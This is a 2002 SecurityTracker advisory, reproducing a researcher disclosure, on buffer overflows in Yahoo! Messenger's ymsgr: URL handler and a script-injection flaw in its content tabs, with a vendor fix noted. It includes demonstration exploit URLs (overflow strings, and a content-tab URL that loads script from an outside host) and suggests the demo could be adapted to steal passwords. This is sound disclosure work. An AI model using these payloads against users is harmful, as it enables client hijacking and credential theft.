Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
|
|
|
|
|
|
|
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
|
|
|
|
Become a Partner and License Our Database or Notification Service
|
|
|
|
|
|
|
|
|
|
|
|
|
Yahoo! Messenger Buffer Overflows and Scripting Flaws Let Remote Users Execute Arbitrary Code on Another User's Messenger Client
|
|
SecurityTracker Alert ID: 1004389 |
|
SecurityTracker URL: http://securitytracker.com/id/1004389
|
|
CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: May 28 2002
|
Impact:
Execution of arbitrary code via network, User access via network
|
Fix Available: Yes Vendor Confirmed: Yes Exploit Included: Yes
|
Version(s): 5.0.0.1061
|
Description:
Several vulnerabilities were reported in Yahoo! Messenger. A remote user can execute arbitrary code on the another user's computer.
It is reported that Yahoo! Messenger allows Java or VisualBasic script execution and also contains some buffer overflows that allow for remote code execution. A remote user can apparently exploit these flaws to take control of another user's Yahoo! Messenger client or execute code with the privileges of the user running Yahoo! Messenger.
A buffer overflow reportedly exists in the handler for Yahoo! Messenger that processes URLs of the type "ymsgr". Due to the lack of proper bounds checking in the ymsgr protocol,a remote user can create a URL that, when loaded by the target user, will trigger a buffer overflow in the processing of ymsgr "call", "sendim", "getimv", "chat", "addview", and "addfriend" tags.
A remote user can supply a URL with a string that is greater than 260 bytes to cause the client to crash. WIth 268 bytes, the buffer overflow can be triggered.
The following is a demonstration exploit URL with 268 bytes of the "a" character:
ymsgr:call?+<aaaaaaaaaaaaaaaa...>
Some addition demonstration exploit URLs are reported (requiring an addition 100 bytes to trigger):
ymsgr:sendim?+<aaaaaaa..... 368 bytes here>
ymsgr:chat?+<aaaaaaa..... 368 bytes here>
ymsgr:addview?+<aaaaaaa..... 368 bytes here>
ymsgr:addfriend?+<aaaaaaa..... 368 bytes here>
ymsgr:getimv?+<aaaaaaa..... 368 bytes here>
The author of the report notes that the last URL above was previously disclosed but is included here for completeness.
In addition to the buffer overflow vulnerabilities, Yahoo! Messenger can be made to execute remotely supplied Java or Visual Basic scripts to allow a remote user to hijack another user's client. A remote user can create a URL that begins with "ymsgr:addview?" to add browser-ready Yahoo! content to the Yahoo! Messenger "Content Tabs" for viewing within Yahoo! Messenger. When the target user loads this URL, malicious scripting code supplied by the remote user can be installed on the target user's computer and then executed by the target user's browser (e.g., Internet Explorer).
The following demonstration exploit URL will reportedly add a new "Content Tab" called "YIM Cal-Hack" to the current set of content tabs, then will display a dialogue box with one option ("OK"), and then will open the "YIM Cal-Hack" content.
ymsgr:addview?http://rd.yahoo.com/messenger/?http://viceconsulting.com/cons/servs/infosec/yimvul001/DemH0.htm
Instructions on how to remove the "YIM Cal-Hack" content tab are provided in the Source Message.
|
Impact:
A remote user can cause arbitrary scripting to run on the target (victim) user's browser. The scripting would be executed in the local security context.
A remote user can cause arbitrary code to be executed on the target user's computer. The code would run with the privileges of the user running Yahoo! Messenger.
|
Solution:
The vendor has released a fixed version (build 1065), available at:
http://download.yahoo.com/dl/installs/ymsgr/ymsgr_1065.exe
|
Vendor URL: messenger.yahoo.com/ (Links to External Site)
|
Cause:
Access control error, Boundary error
|
Underlying OS:
Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Date: Mon, 27 May 2002 08:20:54 -0700 (PDT)
Subject: Yahoo Messenger - Multiple Vulnerabilities
|
Yahoo! Instant Messenger (YIM) Hi-Jack 101-- Multiple
Vulnerabilities & Demonstration Exploit
Date : 05/02/2002
Version : Yahoo! Messenger (5, 0, 0, 1061) [latest
build at time]
Platforms : Win98, Win2K, XP Pro (and likely all
Windows versions)
Severity : Medium - High
Contents :
01. Summary
02. Software/Supplier Status
03. Vulnerability #1: Buffer Overflows
04. Vulnerability #2: Yahoo! Instant Messenger (YIM)
Hi-Jack 101
(Remote Java Visual Basic script execution)
05. Threat Significance
06. Credits
01. Summary:
At the end of 2001, Yahoo! Instant Messenger (YIM) was
estimated by Jupiter Media Metrix to the ad-sponsored
choice of some 12 million Instant Messaging (IM)
Internet users whose numbers are increasing at over
25% per annum,
http://www.ecommercetimes.com/perl/story/14793.html.
Media Life, however, estimates the number of global IM
users at the end of 2001 to be over 200 million with
32%, or 64 million, using Yahoo! Messenger,
http://209.61.190.23/news2002/feb02/feb04/2_tues/news4tuesday.html.
Security vulnerabilities in YIM have recently been
found which can allow unauthorized execution of
programs on a YIM user's PC via buffer overflows or
Java or Visual Basic script execution added through
YIM Content tabs. The net impact is to allow a
relatively simple opportunity to hijack users' YIM
client outright, and use it to attack or intrude into
YIM users supposedly private information systems.
02. Software/Supplier Status:
Yahoo! was informed of this vulnerability on
05/05/2002. In discussions with Yahoo Security the
authors agreed to await Yahoo!'s release of a repaired
version of Yahoo! Messenger (YIM). Yahoo! made the
repaired version available for download and
installation on 24/05/2002 at
http://download.yahoo.com/dl/installs/ymsgr/ymsgr_1065.exe.
Notably, Yahoo! removed some functionality from
repaired YIM version. Specifically, according to
Yahoo, the "addview" function (see below) has been
removed until Yahoo! can rewrite it and provide
sufficient security to preven exploitation of the
Vulnerability #2 below.
03. Vulnerability #1: Buffer Overflows
When YaHoo! Messenger (YIM) is installed, it registers
its own handler for URLs of the type "ymsgr". For
example, in the Win98 Registry, this handler is
HKEY_LOCAL_MACHINE\Software\CLASSES\ymsgr\shell\open\command
which has a value for "(Default)" of
"<Hard-drive:\Directories\>YPAGER.EXE %1".
Thus when any URL beginning with "ymsgr:" [no slashes,
no "//"] is input into a web browser supported by
integrated with YIM, "ypager.exe %1" is executed on
the complete URL.
With no proper bounds checking in the ymsgr protocol,
attackers can overflow the YIM function calls "call",
"sendim", "getimv", "chat", "addview", "addfriend"
tags.
For example, loading URL
"ymsgr:call?(84)+8-8344332&p=DaHØ" into a
YIM-integrated browser will cause ypager.exe will be
executed and it will then execute the YIM/Net2Phone
"Call Centre" application and prepare it to dial the
phone number and name in the URL.
If we input a string that has more than 260 bytes we
will crash YIM; 264 bytes will overwrite the EBP
register; four (4) more bytes will overwrite the EIP
register. In total, 268 bytes are needed to cause a
buffer overflow.
For example, this URL
ymsgr:call?+<aaaaaaaaaaaaaaaa...>
would overwrite both the EBP (Extended Base Pointer)
and EIP (Extended Instruction Pointer). The elipsis,
"...", represents an extension to 268 bytes, e.g,
0x61616161, of "a"s). From there, attackers could
overwrite the EIP with any location in memory they
choose, jump to their exploit code and have the code
run under the current user's normal privileges.
The following are susceptible to BOFs (Buffer
OverFlows) as well. But this time we need to punch in
another 100 bytes:
ymsgr:sendim?+<aaaaaaa..... 368 bytes here>
ymsgr:chat?+<aaaaaaa..... 368 bytes here>
ymsgr:addview?+<aaaaaaa..... 368 bytes here>
ymsgr:addfriend?+<aaaaaaa..... 368 bytes here>
Another susceptibility is illustrated by
"ymsgr:getimv?+<aaaaaaa..... 368 bytes here>", as
reported to BugTraq on February 21, 2002 by "Scott
Woodward" <scott@phoenixtechie.com>. We include it in
here in case anyone wants an example of this
particular exploit.
04. Vulnerability #2: Yahoo! Instant Messenger (YIM)
Hi-Jack 101
(Java, Visual Basic script execution)
URLs beginning with "ymsgr:addview?" let users add
browser-ready Yahoo! content to YIM's "Content Tabs"
for viewing in YIM, without a web browser. YIM
installs with default Tabs for Stocks, Weather,
Calendar, News, etc.
The following URL is provided to demonstrate this
vulnerability. To use it, you must have YaHoo!
Messenger (YIM) installed and integrated with a
compatible web browser. (We only tested this exploit
on Microsoft's Internet Explorer 5.0+.)
ymsgr:addview?http://rd.yahoo.com/messenger/?http://viceconsulting.com/cons/servs/infosec/yimvul001/DemH0.htm
This simple, completely harmless, sample exploit will
start up YIM, if not already started, add a new
"Content Tab" called "YIM Cal-Hack" to YIM's current
set, then display a dialogue box with one option,
"OK", then open the "YIM Cal-Hack" content, a quick,
9-click set of instructions to disable the exploit.
(Send it to your friends for a laugh. ;))
To see the contents of DemH0.htm, simply remove the
Yahoo! redirection parts of the exploit URL above or
load this URL into any browser:
http://viceconsulting.com/cons/servs/infosec/yimvul001/DemH0.htm
Note, however, that to completely remove the "YIM
Cal-Hack" (before the user's next YIM upgrade a minor
Windows registry edit is needed: simply exit YIM;
"Find" the text string "YMSGR_test" or "YIM Cal-Hack",
using Start-> Run->regedit->Edit->Find; then delete
the YMSGR_test key; exit regedit; and restart YIM.
Note also that DemH0.htm is not a standard HTML file
-- though it calls three other standard HTML files.
Instead, DemH0.htm contains only YIM- specific tags.
In fact, if you insert the normal HTML opening tags,
"<html> <head><script>...", the exploit will not work
and YIM will simply respond with a dialogue box
stating, "Error adding view... The view format is
invalid." -- as demonstrated by this URL:
ymsgr:addview?http://rd.yahoo.com/messenger/?http://viceconsulting.com/cons/servs/infosec/yimvul001/DemH0.not.htm
05. Threat Significance
Vulnerability #2 (above) demonstrates how potential
attackers could replace or even visually replicate
almost any YIM content and insert scripts into their
own HTML that could be used to do almost anything on a
YIM users machine. For example, it would not be too
difficult to modify the demonstration exploit above to
request a YIM user's ID and password and send it to
any email address or Internet URL.
Minimum user intervention is required to exploit these
vulnerabilities. Modifications of the ymsgr URLs
provided about coulg readily be hidden in HTML pages
or emails with text or images enticing YIM users to
click on them. Further, scripts could be used to load
such ymsgr-exploit URLs into pop-up browser windows
with no direct user intervention.
Given there are now somewhere between 13-65 million
Yahoo! Messenger users worldwide (as described in the
Summary above), the potential impact of this
vulnerability poses a highly significant threat to
users who do not soon upgrade their Yahoo! Messenger
clients.
06. Credits:
VICE Consulting, Technical: Phuong Nguyen
VICE Consulting, Editorial: AD Marshall
__________________________________________________
Do You Yahoo!?
Yahoo! - Official partner of 2002 FIFA World Cup
http://fifaworldcup.yahoo.com
|
|
Go to the Top of This SecurityTracker Archive Page
|